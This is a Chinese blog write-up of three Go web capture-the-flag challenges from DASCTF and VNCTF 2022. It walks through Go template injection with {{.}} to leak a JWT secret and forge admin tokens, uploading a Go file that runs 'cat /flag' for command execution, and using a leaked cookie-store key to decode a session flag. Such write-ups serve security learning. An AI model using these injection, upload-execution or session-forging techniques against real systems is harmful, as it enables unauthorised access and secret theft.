CTF—Go题目复现

1,473 阅读4分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第27天,点击查看活动详情

[2022DASCTF MAY 挑战赛] fxygo

一道Go的模板注入

前置知识

由于没了解过Go的SSTI所以先简单看下:

go语言快速入门:template模板 · Golang语言社区 · 看云 (kancloud.cn)

Go SSTI初探 | tyskillのBlog

go的SSTI漏洞成因与模板语法和jinja2差不多,都用到了{{}},通过{{.}}我们可以获得到作用域

Demo

package main
​
import "html/template"
import "os"func main() {
​
    type person struct {
        Id      int
        Name    string
        Country string
    }
​
    Sentiment := person{Id: 1, Name: "Sentiment", Country: "China"}
​
    tmpl := template.New("")
    tmpl.Parse("Hello {{.}}")
    tmpl.Execute(os.Stdout, Sentiment)
​
}

当使用{{.}}时,会获取person结构体中的所有属性,所以在经过Execute渲染后,便会输出:

Hello {1 Sentiment China}

除此外若想获取单个属性也可以用{{.Name}}

tmpl.Parse("Hello {{.}}")
改为
tmpl.Parse("Hello {{.Name}}")

结果

Hello Sentiment

复现

主要有几个路由

r.GET("/",index)
r.POST("/", rootHandler)
r.POST("/flag", flagHandler)
r.POST("/auth", authHandler)
r.POST("/register", Resist)

先看/flag的flagHandler

func flagHandler(c *gin.Context) {
   token := c.GetHeader("X-Token")
   if token != "" {
      id, is_admin := jwt_decode(token)
      if is_admin == true {
         p := Resp{true, "Hi " + id + ", flag is " + flag}
         res, err := json.Marshal(p)
         if err != nil {
         }
         c.JSON(200, string(res))
         return
      } else {
         c.JSON(403, gin.H{
            "code": 403,
            "status": "error",
         })
         return
      }
   }
}

中间有一段:

id, is_admin := jwt_decode(token)
if is_admin == true {

会对我们输入的token值解密,之后如果其中的is_admin是true的话,会输出flag,所以现在的问题是如何获取token

authHandler()找到了获取token的方式

func authHandler(c *gin.Context) {
   uid := c.PostForm("id")
   upw := c.PostForm("pw")
   if uid == "" || upw == "" {
      return
   }
   if len(acc) > 1024 {
      clear_account()
   }
   user_acc := get_account(uid)
   if user_acc.id != "" && user_acc.pw == upw {
      token, err := jwt_encode(user_acc.id, user_acc.is_admin)
      if err != nil {
         return
      }
      p := TokenResp{true, token}
      res, err := json.Marshal(p)
      if err != nil {
      }
      c.JSON(200, string(res))
      return
   }
   c.JSON(403, gin.H{
      "code": 403,
      "status": "error",
   })
   return
}

当我们传参id和pw时,会对我们传入的id和is_admin进行jwt加密,并返回以token形式返回

但在此之前需要注意,在赋值之前是有一段判断的,也就是通过本题自定义的get_account()方法获取之前的作用域中的id和pw值,与我们创建的进行比较,只有一样才能成功赋值

user_acc := get_account(uid)
user_acc.id != "" && user_acc.pw == upw {

而初始状态都是为空值的,所以在获取前需要先通过Resist(),进行赋值注册

image-20220611145527132.png

注册成功后,在访问auth路径,获取到了token

image-20220611145551906.png

得到token后,还需要解决一个问题,就是我们在注册时,默认传入的is_admin是false

new_acc := Account{uid, upw, false, secret_key}

image-20220611145733324.png 所以就需要想办法找secret_key,进而修改is_admin

rootHandler()发现模板渲染部分,首先是获取token中我们传入的id值,接着会进行渲染,最后通过tpl.Execute(c.Writer, &acc)输出

func rootHandler(c *gin.Context) {
   token := c.GetHeader("X-Token")
   if token != "" {
      id, _ := jwt_decode(token)
      acc := get_account(id)
      tpl, err := template.New("").Parse("Logged in as " + acc.id)
      if err != nil {
      }
      tpl.Execute(c.Writer, &acc)
      return
   } else {
​
      return
   }
}

所以我们在最开始传入的id={{.}},在这个地方经过渲染后便会输出,该结构体中的所有属性值,其中就包括key

type Account struct {
   id         string
   pw         string
   is_admin   bool
   secret_key string
}

rootHandler()的路由是POST请求/

image-20220611150226642.png 获取key后,修改is_admin,/flag路由下传参即可

image-20220611150333335.png

image-20220611150353448.png

这道题跟[LineCTF2022]gotm一样,80分的题可以去玩玩。

[2022DASCTF MAY 挑战赛] hackme

upload路径下有个文件上传入口

image-20220611160142460.png

上传users.go后,访问users,上传的go文件会被执行,所以随便上传个执行命令的go文件即可

Go语言中用 os/exec 执行命令的五种姿势 - 知乎 (zhihu.com)

package main
​
import (
   "bytes"
   "fmt"
   "log"
   "os/exec"
)
​
func main() {
   cmd := exec.Command("cat", "/flag")
   var stdout, stderr bytes.Buffer
   cmd.Stdout = &stdout 
   cmd.Stderr = &stderr 
   err := cmd.Run()
   outStr, errStr := string(stdout.Bytes()), string(stderr.Bytes())
   fmt.Printf("out:\n%s\nerr:\n%s\n", outStr, errStr)
   if err != nil {
      log.Fatalf("cmd.Run() failed with %s\n", err)
   }
}

image-20220611161514727.png

[VNCTF 2022] gocalc0

在安装包时不知道什么时候代理变了,一直没下下来,如果同样下不下来的话可以先设置下代理

go env -w GOPROXY=https://goproxy.cn

之后安装对应的包即可

go get github.com/gin-contrib/sessions

非预期

session两次base64解密即可

image-20220612115710169.png

预期

{{.}}获取源码

package main
​
import (
    _ "embed"
    "fmt"
    "os"
    "reflect"
    "strings"
    "text/template""github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
    "github.com/maja42/goval"
)
​
var tpl stringvar source stringtype Eval struct {
    E string `json:"e" form:"e" binding:"required"`
}
​
func (e Eval) Result() (string, error) {
    eval := goval.NewEvaluator()
    result, err := eval.Evaluate(e.E, nil, nil)
    if err != nil {
        return "", err
    }
    t := reflect.ValueOf(result).Type().Kind()
​
    if t == reflect.Int {
        return fmt.Sprintf("%d", result.(int)), nil
    } else if t == reflect.String {
        return result.(string), nil
    } else {
        return "", fmt.Errorf("not valid type")
    }
}
​
func (e Eval) String() string {
    res, err := e.Result()
    if err != nil {
        fmt.Println(err)
        res = "invalid"
    }
    return fmt.Sprintf("%s = %s", e.E, res)
}
​
func render(c *gin.Context) {
    session := sessions.Default(c)
​
    var his stringif session.Get("history") == nil {
        his = ""
    } else {
        his = session.Get("history").(string)
    }
​
    fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))
    t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))
    if err != nil {
        fmt.Println(err)
        c.String(500, "internal error")
        return
    }
    if err := t.Execute(c.Writer, map[string]string{
        "s0uR3e": source,
    }); err != nil {
        fmt.Println(err)
    }
}
​
func main() {
    port := os.Getenv("PORT")
    if port == "" {
        port = "8888"
    }
​
    r := gin.Default()
    store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
    r.Use(sessions.Sessions("session", store))
​
    r.GET("/", func(c *gin.Context) {
        render(c)
    })
​
    r.GET("/flag", func(c *gin.Context) {
        session := sessions.Default(c)
        session.Set("FLAG", os.Getenv("FLAG"))
        session.Save()
        c.String(200, "flag is in your session")
    })
​
    r.POST("/", func(c *gin.Context) {
        session := sessions.Default(c)
​
        var his stringif session.Get("history") == nil {
            his = ""
        } else {
            his = session.Get("history").(string)
        }
​
        eval := Eval{}
        if err := c.ShouldBind(&eval); err == nil {
            his = his + eval.String() + "<br/>"
        }
        session.Set("history", his)
        session.Save()
        render(c)
    })
​
    r.Run(fmt.Sprintf(":%s", port))
}

在flag路由里将环境变量flag值设入cookie的FLAG中,但是cookie中的内容经过加密无法直接拿到,在本地搭建一样的环境,从相同cookie中拿到FLAG对应的值,找地方输出即可

package main
​
import (
   _ "embed"
   "fmt"
   "os"
​
   "github.com/gin-contrib/sessions"
   "github.com/gin-contrib/sessions/cookie"
   "github.com/gin-gonic/gin"
)
​
func main() {
   port := os.Getenv("PORT")
   if port == "" {
      port = "8888"
   }
   r := gin.Default()
   store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
   r.Use(sessions.Sessions("session", store))
   r.GET("/flag", func(c *gin.Context) {
      session := sessions.Default(c)
      c.String(200, session.Get("FLAG").(string))
   })
   r.Run(fmt.Sprintf(":%s", port))
}

image-20220612123413468.png